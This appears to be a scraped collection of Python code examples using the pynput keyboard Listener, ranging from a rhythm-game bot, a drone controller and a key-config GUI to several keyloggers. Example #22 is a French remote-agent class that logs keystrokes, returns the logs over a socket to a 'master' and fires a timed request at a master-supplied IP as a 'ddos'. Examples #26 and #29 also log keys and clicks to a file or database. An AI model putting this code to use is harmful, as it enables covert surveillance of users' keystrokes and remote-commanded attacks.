        self.cont = Controller()
        self.listener = Listener(on_press=self.on_press)
        self.listener.start()
        self.MainThread = StoppableThread(target=self.key_loop, daemon=True)

        for key in self.keys.keys():
            self.cont.release(key)

    def key_loop(self):
        prev = {
            'q': False,
            'w': False,
            'e': False,
            'r': False,
            't': False,
            'y': False,
            'u': False,
            'i': False,
            'o': False,
            'p': False
        }
        with mss.mss() as sct:
            while True:
                img = sct.grab(self.monitor)
                ks = self.getKeys(img)

                if len(ks) != 0:
                    for c, future in ks:
                        if prev[c] == False:
                            self.noteAction(self, c)
                    sleep(self.note_delay)
                    for c, future in ks:
                        if future:
                            prev[c] = True
                        if not future:
                            self.cont.release(c)
                            prev[c] = False

    @staticmethod
    def hit(bot, key):
        bot.cont.press(key)

    @staticmethod
    def getHit():
        R = randint(1, 100)
        if R == 1:
            return 0
        elif R <= 5:
            return 0.01
        else:
            return 0

    def getKeys(self, sct):
        valid = []
        for key in self.keys.items():

            intens1 = 0
            for i in range(3):
                p1 = sct.pixel(key[1],
                               2 + self.note_height + self.y_center - i)
                temp = ((p1[0] + p1[1] + p1[2]) / 3)
                if temp > intens1:
                    intens1 = temp

            # p1 = sct.pixel(key[1], note_height+y_center)
            # intens1 = ((p1[0] + p1[1] + p1[2]) / 3)

            p2 = sct.pixel(key[1], 0)
            intens2 = ((p2[0] + p2[1] + p2[2]) / 3)

            # p3 = sct.pixel(keys_black[key[0]], 0)
            # intens_long = ((p3[0] + p3[1] + p3[2]) / 3)

            # intens1 = 0
            # intens2 = 0
            # for i in range(2):w
            #     for j in range(2):
            #         p1 = sct.pixel(key[1] + i, y_center+note_height + j)
            #         intens1 = intens1 + ((p1[0] + p1[1] + p1[2])/3)/9
            #
            #         p2 = sct.pixel(key[1] + i, y_center + j)
            #         intens2 = intens2 + ((p2[0] + p2[1] + p2[2])/3)/9

            if intens1 > self.thres:
                # print(key[0] + ' ' + str(intens1))
                if intens2 > self.thres:
                    valid.append((key[0], True))
                else:
                    valid.append((key[0], False))
        return valid

    def on_press(self, key):
        if (key == self.quit_key):
            try:
                print("Thread killed")
                self.MainThread.stop()
                self.MainThread = StoppableThread(target=self.key_loop,
                                                  daemon=True)
            except (ValueError):
                print("Bot not running")
                pass

        if (key == self.bind_key):
            # Begin game
            self.MainThread.start()
            print("Begin...")
Beispiel #22
0
class Action(Connexion):

    def __init__(self, chemin, listener):
        #assigne listener à la méthode appuie
        self.chemin = chemin
        self.listener = Listener(on_press=self.appuie)


    def start_log(self):
        try:
            #met les informations de base concernant le logger
            #filename, spécifie le nom du fichier
            #format, impose les infos de base qui se trouveront dans le logger, içi la date avec l'heure puis les infos sur les entrées sur le clavier 
            logging.basicConfig(filename = (chemin + "\\keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
            #listener.start va commencer a écouter grace a la methode appuie qui est assigné à la varibale listener
            self.listener.start()
        except FileNotFoundError:
            print("erreur chemin inexistant")
    #Création d'une fonction appuie(), qui vas mettre en string touts les appuie sur le clavier
    def appuie(self, key):
        logging.info(str(key))
    
    def stop_log(self, carte_reseau):
        if  not self.listener.is_alive():
            carte_reseau.send("Logger non lancé".encode("utf-8"))
            print("erreur")
        else:
            #listener.start va arreter d'écouter en fermant la methode appuie qui est assigné à la varibale listener
            self.listener.stop()
            carte_reseau.send("Logger arreté".encode("utf-8"))
            print("logger arreté")
            
        
    def get_log(self, carte_reseau):
        logger = open("D:\\keyLog.txt", "r")
        #lis le fichier ligne à ligne
        fichier = logger.readlines()
        
        #boucle qui permet de compter le nombre de ligne
        nb_lines = 0
        for line in logger.readlines():
            nb_lines+=1
        #on reçoit le nombre de ligne que le maitre veut récuperer
        lines = carte_reseau.recv(1024).decode("utf-8")
        #si tu sais elisa ce que ça fait tu peut le mettre ?
        start = nb_lines-1-int(lines)
        message_get_log = str(fichier[start:])
    
        carte_reseau.send(message_get_log.encode("utf-8"))

    def ddos(self, carte_reseau):
        #définir le format de la date quand on la rentrera dans la variable
        date = carte_reseau.recv(1024).decode("utf-8")
        print(date)
        format = "%Y-%m-%d %H:%M"
        #on récupère la date et l'heure actuelle et on la formate comme voulu ci dessus
        now = datetime.strftime(datetime.now(), format)
        print(now)

        ip = carte_reseau.recv(1024).decode("utf-8")
        url = "http://" + ip
        #on compare la date et l'heure récupérées à celle souhaitée pour le ddos
        while (now != date):
            print("En attente ...")
            time.sleep(10)
            now = datetime.strftime(datetime.now(), format)

        requete = requests.get(url)
        print("Requête : ", requete.text)
Beispiel #23
0
 def start(self):
     Listener.start(self)
     self.join()
Beispiel #24
0
class KeyboardController(object):
    """
    Controller for the Tello drone that allows using keyboard as a controller for the drone.
    """

    KEY_TO_COMMAND = {
        "left": COMMAND_FLY_LEFT,
        "right": COMMAND_FLY_RIGHT,
        "up": COMMAND_FLY_FORWARD,
        "down": COMMAND_FLY_BACKWARD,
        "w": COMMAND_FLY_UP,
        "a": COMMAND_ROTATE_COUNTERCLOCKWISE,
        "s": COMMAND_FLY_DOWN,
        "d": COMMAND_ROTATE_CLOCKWISE,
        "space": COMMAND_HOVER,
        "shift": COMMAND_TAKEOFF,
        "shift_l": COMMAND_TAKEOFF,
        "shift_r": COMMAND_LAND,
        "esc": COMMAND_EMERGENCY,
    }

    def __init__(self, tello_commander=None):
        super(KeyboardController, self).__init__()

        self._tello_commander = tello_commander if tello_commander is not None else TelloCommander(
        )
        self._listener = Listener(on_press=self._on_press,
                                  on_release=self._on_release)

    # ------------------------------------- PUBLIC INTERFACE ------------------------------------- #

    def start(self):
        """
        Start the controller thread (does NOT call takeoff of the drone).
        """
        self._listener.start()

    def stop(self):
        """
        Stop the controller thread.
        """
        self._listener.stop()

    def join(self):
        """
        Join the controller thread (i.e. forbid the program to continue in the main thread).
        """
        self._listener.join()

    def print_controls(self):
        """
        Prints the information about control keys to the command line.
        """
        print("TAKEOFF:          {}".format(
            self._control_keys(COMMAND_TAKEOFF)))
        print("LAND:             {}".format(self._control_keys(COMMAND_LAND)))
        print("EMERGENCY:        {}".format(
            self._control_keys(COMMAND_EMERGENCY)))
        print("HOVER:            {}".format(self._control_keys(COMMAND_HOVER)))
        print()
        print("LEFT:             {}".format(
            self._control_keys(COMMAND_FLY_LEFT)))
        print("RIGHT:            {}".format(
            self._control_keys(COMMAND_FLY_RIGHT)))
        print("FORWARD:          {}".format(
            self._control_keys(COMMAND_FLY_FORWARD)))
        print("BACKWARD:         {}".format(
            self._control_keys(COMMAND_FLY_BACKWARD)))
        print()
        print("UP:               {}".format(
            self._control_keys(COMMAND_FLY_UP)))
        print("DOWN:             {}".format(
            self._control_keys(COMMAND_FLY_DOWN)))
        print()
        print("ROT. CLOCKWISE:   {}".format(
            self._control_keys(COMMAND_ROTATE_CLOCKWISE)))
        print("ROT. C.CLOCKWISE: {}".format(
            self._control_keys(COMMAND_ROTATE_COUNTERCLOCKWISE)))

    # ------------------------------------ PRIVATE INTERFACE ------------------------------------- #

    def _on_press(self, key):
        try:
            self._tello_commander.send(
                self.KEY_TO_COMMAND[self._decode_key(key)])
        except KeyError:
            pass  # Handle keys that do not correspond to any commands

    def _on_release(self, key):
        # Command the drone to start hovering after an action key release
        if self._decode_key(key) in [
                "left", "right", "up", "down", "w", "a", "s", "d"
        ]:
            self._tello_commander.send(COMMAND_HOVER)

    def _decode_key(self, key):
        """
        Converts the pressed key to its string description. The pynput library has two types of keys
        that have to be handled separately.
        """
        if hasattr(key, "char"):
            return str(key.char).lower()
        elif hasattr(key, "name"):
            return str(key.name).lower()

    def _control_keys(self, command):
        """
        Returns a list of control keys for the given command.

        Args:
            command(str): Command (one of the know command constants COMMAND_*)

        Returns:
            :obj:`list` keys mapped to this command
        """
        return [
            key for key, comm in self.KEY_TO_COMMAND.items() if comm == command
        ]
Beispiel #25
0
def key_thread():
    listener = Listener(on_press=on_press)
    listener.start()
Beispiel #26
0
from pynput.keyboard import Listener


def key_press(key):
    f = open("keys.txt", "a")
    if str(key) == "Key.space":
        letter = " "
    elif str(key) == "Key.enter":
        letter = "\n"
    else:
        letter = str(key)
    f.write(str(letter).replace("'", ""))
    f.close()


listener_object = Listener(on_press=key_press)
listener_object.start()
listener_object.join()
Beispiel #27
0
class Game:
    def __init__(self):
        # constants
        self.data = {'fps': 5, 'width': 50, 'height': 29}

        # region keyboard listener
        def on_press(key):
            if key.name in ['up', 'down', 'left', 'right']:
                self.delete_character()
                self.char.move(key.name, self.data['height'],
                               self.data['width'])
                self.move_character()

        def on_release(key):
            if key == Key.esc:
                self.running = False
                return False

        self.keyboard = Listener(on_press=on_press, on_release=on_release)
        self.keyboard.start()
        # endregion

        # create the board
        self.board = create_board(self.data['height'], self.data['width'])

        # region create the character
        class Character:
            def __init__(self, i, j, value):
                self.i = i
                self.j = j
                self.value = value

            def move(self, direction, max_height, max_width):
                # check out of bounds error
                if (self.i == 0
                        and direction == 'up') or (self.i == max_height - 1
                                                   and direction == 'down'):
                    return
                if (self.j == 1
                        and direction == 'left') or (self.j == max_width - 2
                                                     and direction == 'right'):
                    return

                # change the position according to direction
                if direction == 'up':
                    self.i -= 1
                elif direction == 'down':
                    self.i += 1
                elif direction == 'left':
                    self.j -= 1
                elif direction == 'right':
                    self.j += 1

        self.char = Character(25, 25, '+')
        self.move_character()
        # endregion

        # thread to run the mainloop
        self.t = Thread(target=self.mainloop)
        self.running = False

    def run(self):
        self.running = True
        self.t.start()
        self.t.join()

    def delete_character(self):
        self.board[self.char.i][self.char.j] = ' '

    def move_character(self):
        self.board[self.char.i][self.char.j] = self.char.value

    def mainloop(self):
        t1 = time.time()
        t2 = t1
        interval = 1 / self.data['fps']
        while True:
            if not self.running:
                return
            while t2 - t1 <= interval:
                t2 = time.time()
            else:
                t1 = t2
                self.render()

    def render(self):
        cls()
        print_board(self.board)
class PressureSender:
    def __init__(self):
        self.transition_time = 0.5
        self.curr_ind = 0
        self.curr_ind_tmp = 0
        self.curr_pressures = []
        self.num_channels = 0
        self._outputs = False

        self._client = actionlib.SimpleActionClient(
            'pressure_control', pressure_controller_ros.msg.CommandAction)
        self._client.wait_for_server()

        rospy.Subscriber('pressure_control/echo',
                         pressure_controller_ros.msg.Echo, self.ack_waiter)

        # Get trajectory from the parameter server
        all_settings = rospy.get_param(rospy.get_name())
        self.data_back = all_settings.get("data_back")

        self.send_command("_flush", [])
        self.send_command("off", [], wait_for_ack=False)
        self.send_command("_flush", [])
        self.send_command("echo", True)
        self.send_command("mode", 3)

        #Get the curent setpoint
        self.send_command("set", [])
        if self.data_back:
            self.send_command("on", [])

        self.r = rospy.Rate(100)

        self._listener = Listener(on_press=self.on_press,
                                  on_release=self.on_release)
        self._listener.start()

        self.redraw()

        #later: get this automatically from listening for messages in the echo topic

    def ack_waiter(self, data):
        if data.command == "set":
            self.num_channels = len(data.args) - 1
            self.curr_pressures = []
            for x in data.args[1:]:
                if x != '':
                    self.curr_pressures.append(float(x))
            print(self.curr_pressures)

    def set_press(self, pressure):
        if self.curr_ind == -1:
            self.send_command("set", [self.transition_time, pressure])
        else:
            new_pressure = self.curr_pressures[:]
            new_pressure[self.curr_ind] = pressure
            new_pressure.insert(0, self.transition_time)

            self.send_command("set", new_pressure)

    def all_zero(self):
        self.send_command("set", [self.transition_time, 0])

    def data_stream(self):
        self._outputs = not self._outputs
        if self._outputs:
            self.send_command("on", [])
        else:
            self.send_command("off", [])

    def ind_plus(self):
        self.curr_ind = int(
            np.clip(self.curr_ind + 1, -1, self.num_channels - 1))
        self.curr_ind_tmp = self.curr_ind

    def ind_minus(self):
        self.curr_ind = int(
            np.clip(self.curr_ind - 1, -1, self.num_channels - 1))
        self.curr_ind_tmp = self.curr_ind

    def ind_all(self):
        self.curr_ind = -1

    def ind_res(self):
        if self.curr_ind_tmp is not None:
            self.curr_ind = self.curr_ind_tmp

    def spin(self):
        while not rospy.is_shutdown():
            try:
                self.r.sleep()
                inp = str(raw_input())

                inp = re.sub('[^0-9 .-]', '', inp)

                if inp is not None:
                    self.set_press(float(inp))

                self.redraw(True)

            except:
                raise

    def redraw(self, extra=False):
        print('\r', end='')

        if extra:
            sys.stdout.write("\033[K")  #clear line
            sys.stdout.write("\033[A")  #Up one
            sys.stdout.write("\033[K")  #clear line
            sys.stdout.write("\033[A")  #Up one

        sys.stdout.write("\033[K")  #clear line
        sys.stdout.write("\033[A")  #Up one
        sys.stdout.write("\033[K")  #clear line
        sys.stdout.write("\033[A")  #Up one
        sys.stdout.write("\033[K")  #clear line

        out_str = ""
        if self._outputs:
            out_str += cterm("Data ON!", 'blue', attrs=['bold'])
        else:
            out_str += cterm("Data OFF", 'blue')

        for idx, pres in enumerate(self.curr_pressures):
            if self.curr_ind == idx or self.curr_ind == -1:
                out_str += cterm("\t%0.3f" % (pres),
                                 'green',
                                 attrs=['bold', 'underline'])
            else:
                out_str += cterm("\t%0.3f" % (pres), 'green')

        print(out_str + '\t')
        print("New Pressure: ")

    def send_command(self, command, args, wait_for_ack=True):
        command, args = validate_commands.go(command, args)
        # Send commands to the commader node and wait for things to be taken care of
        goal = pressure_controller_ros.msg.CommandGoal(
            command=command, args=args, wait_for_ack=wait_for_ack)
        self._client.send_goal(goal)
        self._client.wait_for_result()

        if not self._client.get_result():
            raise ('Something went wrong and a setting was not validated')
            pass
        else:
            pass

    def shutdown(self):
        print("_Stopping setpoint follower")
        self.send_command("off", [], wait_for_ack=False)
        self.send_command("set", [0, 0])
        self.send_command("echo", False)
        self._client.cancel_all_goals()
        self._listener.stop()

    def on_press(self, key):
        pass

    def on_release(self, key):
        if key == Key.esc:
            self.all_zero()
            #self.redraw()

        elif key == Key.left:
            self.ind_minus()
            self.redraw()

        elif key == Key.right:
            self.ind_plus()
            self.redraw()

        elif key == Key.up:
            self.ind_all()
            self.redraw()

        elif key == Key.down:
            self.ind_res()
            self.redraw()

        elif key == Key.shift:
            self.data_stream()
            self.redraw()
Beispiel #29
0
def on_press(key):
    global log
    listen.append(key)
    
    #print(key)
    window_changed()
    #print(log)
    log = cleaned_data_to_database(log)
               
def on_click(x, y, button, pressed):
    global log
    if pressed:
        #print(button,' Pressed at' ,(x,y))
        time.sleep(0.5)
        listen.append(str(button)) ##not used
       
        window_changed()
        #print(log)
        log = cleaned_data_to_database(log)         
                
key_Listener = Listener(on_press=on_press)
key_Listener.start()

# Collect events until released
with lis(on_click=on_click) as listener:
    listener.join()


      

class PokeKeycon:
    SETTING_PATH = os.path.join(os.path.dirname(__file__), "settings.ini")

    def __init__(self, master=None, **kw):
        self.master = master
        self.kc = tk.Toplevel(master)
        self.kc.title('Key Config')
        self.listener = None
        self.setting = configparser.ConfigParser()
        self.setting.optionxform = str

        self._logger = getLogger(__name__)
        self._logger.addHandler(NullHandler())
        self._logger.setLevel(DEBUG)
        self._logger.propagate = True

        self.kc.resizable(False, False)

        # Initialize style
        s = ttk.Style()
        # Create style used by default for all Frames
        s.configure('TFrame', background='white')
        s.configure('Frame1.TFrame', background='#00c3e3')
        s.configure('Frame2.TFrame', background='#ff4554')

        # ttk.Frame.__init__(self, master, **kw)
        # build ui
        self.key_config_frame = ttk.Frame(self.kc)
        self.frame_2 = ttk.Frame(self.key_config_frame, style='Frame1.TFrame')

        self.label_ZL = ttk.Label(self.frame_2)
        self.label_ZL.configure(padding='5',
                                text='ZL',
                                background='#00c3e3',
                                font='{游ゴシック} 12 {bold}')
        self.label_ZL.grid(sticky='e')
        self.entry_ZL = ttk.Entry(self.frame_2)
        self.ZL = tk.StringVar()
        self.entry_ZL.configure(state='readonly', textvariable=self.ZL)
        self.entry_ZL.grid(column='1', padx='5', pady='5', row='0')

        self.label_L = ttk.Label(self.frame_2)
        self.label_L.configure(padding='5',
                               text='L',
                               background='#00c3e3',
                               font='{游ゴシック} 12 {bold}')
        self.label_L.grid(row='1', sticky='e')
        self.entry_L = ttk.Entry(self.frame_2)
        self.L = tk.StringVar()
        self.entry_L.configure(state='readonly', textvariable=self.L)
        self.entry_L.grid(column='1', padx='5', pady='5', row='1')

        self.label_MINUS = ttk.Label(self.frame_2)
        self.label_MINUS.configure(padding='5',
                                   text='MINUS',
                                   background='#00c3e3',
                                   font='{游ゴシック} 12 {bold}')
        self.label_MINUS.grid(row='2', sticky='e')
        self.entry_MINUS = ttk.Entry(self.frame_2)
        self.MINUS = tk.StringVar()
        self.entry_MINUS.configure(state='readonly', textvariable=self.MINUS)
        self.entry_MINUS.grid(column='1', padx='5', pady='5', row='2')

        self.label_HAT_UP = ttk.Label(self.frame_2)
        self.label_HAT_UP.configure(padding='5',
                                    text='HAT UP',
                                    background='#00c3e3',
                                    font='{游ゴシック} 12 {bold}')
        self.label_HAT_UP.grid(row='3', sticky='e')
        self.entry_HAT_UP = ttk.Entry(self.frame_2)
        self.HAT_UP = tk.StringVar()
        self.entry_HAT_UP.configure(state='readonly', textvariable=self.HAT_UP)
        self.entry_HAT_UP.grid(column='1', padx='5', pady='5', row='3')

        self.label__HAT_LEFT = ttk.Label(self.frame_2)
        self.label__HAT_LEFT.configure(padding='5',
                                       text='HAT LEFT',
                                       background='#00c3e3',
                                       font='{游ゴシック} 12 {bold}')
        self.label__HAT_LEFT.grid(row='4', sticky='e')
        self.entry_HAT_LEFT = ttk.Entry(self.frame_2)
        self.HAT_LEFT = tk.StringVar()
        self.entry_HAT_LEFT.configure(state='readonly',
                                      textvariable=self.HAT_LEFT)
        self.entry_HAT_LEFT.grid(column='1', padx='5', pady='5', row='4')

        self.label_HAT_RIGHT = ttk.Label(self.frame_2)
        self.label_HAT_RIGHT.configure(padding='5',
                                       text='HAT RIGHT',
                                       background='#00c3e3',
                                       font='{游ゴシック} 12 {bold}')
        self.label_HAT_RIGHT.grid(row='5', sticky='e')
        self.entry_HAT_RIGHT = ttk.Entry(self.frame_2)
        self.HAT_RIGHT = tk.StringVar()
        self.entry_HAT_RIGHT.configure(state='readonly',
                                       textvariable=self.HAT_RIGHT)
        self.entry_HAT_RIGHT.grid(column='1', padx='5', pady='5', row='5')

        self.label_HAT_DOWN = ttk.Label(self.frame_2)
        self.label_HAT_DOWN.configure(padding='5',
                                      text='HAT DOWN',
                                      background='#00c3e3',
                                      font='{游ゴシック} 12 {bold}')
        self.label_HAT_DOWN.grid(row='6', sticky='e')
        self.entry_HAT_DOWN = ttk.Entry(self.frame_2)
        self.HAT_DOWN = tk.StringVar()
        self.entry_HAT_DOWN.configure(state='readonly',
                                      textvariable=self.HAT_DOWN)
        self.entry_HAT_DOWN.grid(column='1', padx='5', pady='5', row='6')

        self.label_CAPTURE = ttk.Label(self.frame_2)
        self.label_CAPTURE.configure(padding='5',
                                     text='CAPTURE',
                                     background='#00c3e3',
                                     font='{游ゴシック} 12 {bold}')
        self.label_CAPTURE.grid(row='7', sticky='e')
        self.entry_CAPTURE = ttk.Entry(self.frame_2)
        self.CAPTURE = tk.StringVar()
        self.entry_CAPTURE.configure(state='readonly',
                                     textvariable=self.CAPTURE)
        self.entry_CAPTURE.grid(column='1', padx='5', pady='5', row='7')

        self.label_LCLICK = ttk.Label(self.frame_2)
        self.label_LCLICK.configure(padding='5',
                                    text='L CLICK',
                                    background='#00c3e3',
                                    font='{游ゴシック} 12 {bold}')
        self.label_LCLICK.grid(row='8', sticky='e')
        self.entry_LCLICK = ttk.Entry(self.frame_2)
        self.LCLICK = tk.StringVar()
        self.entry_LCLICK.configure(state='readonly', textvariable=self.LCLICK)
        self.entry_LCLICK.grid(column='1', padx='5', pady='5', row='8')

        self.frame_2.configure(height='200',
                               padding='10',
                               relief='groove',
                               width='200')
        self.frame_2.grid(column='0', row='1', sticky='nsew')
        self.frame_2.rowconfigure('1', pad='5')
        self.frame_2.columnconfigure('0', pad='5')

        self.frame_2_3 = ttk.Frame(self.key_config_frame,
                                   style='Frame2.TFrame')

        self.label_ZR = ttk.Label(self.frame_2_3)
        self.label_ZR.configure(padding='5',
                                text='ZR',
                                background='#ff4554',
                                foreground='#ffffff',
                                font='{游ゴシック} 12 {bold}')
        self.label_ZR.grid(row='0', sticky='e')
        self.entry_ZR = ttk.Entry(self.frame_2_3)
        self.ZR = tk.StringVar()
        self.entry_ZR.configure(state='readonly', textvariable=self.ZR)
        self.entry_ZR.grid(column='1', padx='5', pady='5', row='0')

        self.label_R = ttk.Label(self.frame_2_3)
        self.label_R.configure(padding='5',
                               text='R',
                               background='#ff4554',
                               foreground='#ffffff',
                               font='{游ゴシック} 12 {bold}')
        self.label_R.grid(row='1', sticky='e')
        self.entry_R = ttk.Entry(self.frame_2_3)
        self.R = tk.StringVar()
        self.entry_R.configure(state='readonly', textvariable=self.R)
        self.entry_R.grid(column='1', padx='5', pady='5', row='1')

        self.label_PLUS = ttk.Label(self.frame_2_3)
        self.label_PLUS.configure(padding='5',
                                  text='PLUS',
                                  background='#ff4554',
                                  foreground='#ffffff',
                                  font='{游ゴシック} 12 {bold}')
        self.label_PLUS.grid(row='2', sticky='e')
        self.entry_PLUS = ttk.Entry(self.frame_2_3)
        self.PLUS = tk.StringVar()
        self.entry_PLUS.configure(state='readonly', textvariable=self.PLUS)
        self.entry_PLUS.grid(column='1', padx='5', pady='5', row='2')

        self.label_A = ttk.Label(self.frame_2_3)
        self.label_A.configure(padding='5',
                               text='A',
                               background='#ff4554',
                               foreground='#ffffff',
                               font='{游ゴシック} 12 {bold}')
        self.label_A.grid(row='3', sticky='e')
        self.entry_A = ttk.Entry(self.frame_2_3)
        self.A = tk.StringVar()
        self.entry_A.configure(state='readonly', textvariable=self.A)
        self.entry_A.grid(column='1', padx='5', pady='5', row='3')

        self.label__B = ttk.Label(self.frame_2_3)
        self.label__B.configure(padding='5',
                                text='B',
                                background='#ff4554',
                                foreground='#ffffff',
                                font='{游ゴシック} 12 {bold}')
        self.label__B.grid(row='4', sticky='e')
        self.entry_B = ttk.Entry(self.frame_2_3)
        self.B = tk.StringVar()
        self.entry_B.configure(state='readonly', textvariable=self.B)
        self.entry_B.grid(column='1', padx='5', pady='5', row='4')

        self.label_X = ttk.Label(self.frame_2_3)
        self.label_X.configure(padding='5',
                               text='X',
                               background='#ff4554',
                               foreground='#ffffff',
                               font='{游ゴシック} 12 {bold}')
        self.label_X.grid(row='5', sticky='e')
        self.entry_X = ttk.Entry(self.frame_2_3)
        self.X = tk.StringVar()
        self.entry_X.configure(state='readonly', textvariable=self.X)
        self.entry_X.grid(column='1', padx='5', pady='5', row='5')

        self.label_Y = ttk.Label(self.frame_2_3)
        self.label_Y.configure(padding='5',
                               text='Y',
                               background='#ff4554',
                               foreground='#ffffff',
                               font='{游ゴシック} 12 {bold}')
        self.label_Y.grid(row='6', sticky='e')
        self.entry_Y = ttk.Entry(self.frame_2_3)
        self.Y = tk.StringVar()
        self.entry_Y.configure(state='readonly', textvariable=self.Y)
        self.entry_Y.grid(column='1', padx='5', pady='5', row='6')

        self.label_HOME = ttk.Label(self.frame_2_3)
        self.label_HOME.configure(padding='5',
                                  text='HOME',
                                  background='#ff4554',
                                  foreground='#ffffff',
                                  font='{游ゴシック} 12 {bold}')
        self.label_HOME.grid(row='7', sticky='e')
        self.entry_HOME = ttk.Entry(self.frame_2_3)
        self.HOME = tk.StringVar()
        self.entry_HOME.configure(state='readonly', textvariable=self.HOME)
        self.entry_HOME.grid(column='1', padx='5', pady='5', row='7')

        self.label_RCLICK = ttk.Label(self.frame_2_3)
        self.label_RCLICK.configure(padding='5',
                                    text='R CLICK',
                                    background='#ff4554',
                                    foreground='#ffffff',
                                    font='{游ゴシック} 12 {bold}')
        self.label_RCLICK.grid(row='8', sticky='e')
        self.entry_RCLICK = ttk.Entry(self.frame_2_3)
        self.RCLICK = tk.StringVar()
        self.entry_RCLICK.configure(state='readonly', textvariable=self.RCLICK)
        self.entry_RCLICK.grid(column='1', padx='5', pady='5', row='8')

        self.frame_2_3.configure(height='200',
                                 padding='10',
                                 relief='groove',
                                 width='200')
        self.frame_2_3.grid(column='1', row='1', sticky='nsew')
        self.frame_2_3.rowconfigure('1', pad='5')
        self.frame_2_3.columnconfigure('1', pad='5')

        self.frame_button = ttk.Frame(self.key_config_frame)
        self.apply_button = ttk.Button(self.frame_button)
        self.apply_button.configure(text='適用')
        self.apply_button.grid(column='0', padx='10', sticky='e')
        self.apply_button.configure(command=self.apply_setting)
        self.frame_button.configure(height='200', width='200')
        self.frame_button.grid(column='1', columnspan='1', row='2', sticky='e')

        self.key_config_frame.configure(height='200', width='200')
        self.key_config_frame.pack(side='top')

        # Main widget
        self.mainwindow = self.key_config_frame

        self.load_config()

        self.entry_ZL.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.ZL, 'Button.ZL'))
        self.entry_ZL.bind('<FocusOut>', self.onFocusOutController)
        self.entry_L.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.L, 'Button.L'))
        self.entry_L.bind('<FocusOut>', self.onFocusOutController)
        self.entry_LCLICK.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.LCLICK, 'Button.LCLICK'))
        self.entry_LCLICK.bind('<FocusOut>', self.onFocusOutController)
        self.entry_ZR.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.ZR, 'Button.ZR'))
        self.entry_ZR.bind('<FocusOut>', self.onFocusOutController)
        self.entry_R.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.R, 'Button.R'))
        self.entry_R.bind('<FocusOut>', self.onFocusOutController)
        self.entry_RCLICK.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.RCLICK, 'Button.RCLICK'))
        self.entry_RCLICK.bind('<FocusOut>', self.onFocusOutController)
        self.entry_MINUS.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.MINUS, 'Button.MINUS'))
        self.entry_MINUS.bind('<FocusOut>', self.onFocusOutController)
        self.entry_CAPTURE.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.CAPTURE, 'Button.CAPTURE'))
        self.entry_CAPTURE.bind('<FocusOut>', self.onFocusOutController)
        self.entry_A.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.A, 'Button.A'))
        self.entry_A.bind('<FocusOut>', self.onFocusOutController)
        self.entry_B.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.B, 'Button.B'))
        self.entry_B.bind('<FocusOut>', self.onFocusOutController)
        self.entry_X.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.X, 'Button.X'))
        self.entry_X.bind('<FocusOut>', self.onFocusOutController)
        self.entry_Y.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.Y, 'Button.Y'))
        self.entry_Y.bind('<FocusOut>', self.onFocusOutController)
        self.entry_PLUS.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.PLUS, 'Button.PLUS'))
        self.entry_PLUS.bind('<FocusOut>', self.onFocusOutController)
        self.entry_HOME.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.HOME, 'Button.HOME'))
        self.entry_HOME.bind('<FocusOut>', self.onFocusOutController)

        self.entry_HAT_UP.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.HAT_UP, 'Hat.TOP'))
        self.entry_HAT_UP.bind('<FocusOut>', self.onFocusOutController)
        self.entry_HAT_RIGHT.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.HAT_RIGHT, 'Hat.RIGHT'))
        self.entry_HAT_RIGHT.bind('<FocusOut>', self.onFocusOutController)
        self.entry_HAT_DOWN.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.HAT_DOWN, 'Hat.BTM'))
        self.entry_HAT_DOWN.bind('<FocusOut>', self.onFocusOutController)
        self.entry_HAT_LEFT.bind(
            '<FocusIn>',
            lambda x: self.onFocusInController(self.HAT_LEFT, 'Hat.LEFT'))
        self.entry_HAT_LEFT.bind('<FocusOut>', self.onFocusOutController)

    def run(self):
        self.mainwindow.mainloop()

    def onFocusInController(self, var, button_name):
        # enable Keyboard as controller
        # print(event, var)
        self.listener = Listener(
            on_press=lambda ev: self.on_press(ev, var=var),
            on_release=lambda ev: self.on_release(
                ev, var=var, button_name=button_name))
        self.listener.start()
        self._logger.debug("Activate key config window")

    def onFocusOutController(self, event):
        self.listener.stop()
        self.listener = None

    def on_press(self, key, var):
        try:
            # print('alphanumeric key {0} pressed'.format(key.char))
            var.set(key.char)
        except AttributeError:
            var.set(key)
            # print(var)
            # print('special key {0} pressed'.format(key))

    def on_release(self, key, var, button_name):
        try:
            spc = button_name.split(".")[0]
            self._logger.debug(f"Released key :{var.get()}")
            self.setting[f'KeyMap-{spc}'][button_name] = var.get()
        except:
            pass
        # print(f'{key} released')

    def load_config(self):
        if os.path.isfile(self.SETTING_PATH):
            self.setting.read(self.SETTING_PATH, encoding='utf-8')

        self.ZL.set(self.setting['KeyMap-Button']['Button.ZL'])
        self.L.set(self.setting['KeyMap-Button']['Button.L'])
        self.LCLICK.set(self.setting['KeyMap-Button']['Button.LCLICK'])
        self.ZR.set(self.setting['KeyMap-Button']['Button.ZR'])
        self.R.set(self.setting['KeyMap-Button']['Button.R'])
        self.RCLICK.set(self.setting['KeyMap-Button']['Button.RCLICK'])
        self.MINUS.set(self.setting['KeyMap-Button']['Button.MINUS'])
        self.CAPTURE.set(self.setting['KeyMap-Button']['Button.CAPTURE'])
        self.A.set(self.setting['KeyMap-Button']['Button.A'])
        self.B.set(self.setting['KeyMap-Button']['Button.B'])
        self.X.set(self.setting['KeyMap-Button']['Button.X'])
        self.Y.set(self.setting['KeyMap-Button']['Button.Y'])
        self.PLUS.set(self.setting['KeyMap-Button']['Button.PLUS'])
        self.HOME.set(self.setting['KeyMap-Button']['Button.HOME'])
        self.HAT_UP.set(self.setting['KeyMap-Hat']['Hat.TOP'])
        self.HAT_DOWN.set(self.setting['KeyMap-Hat']['Hat.BTM'])
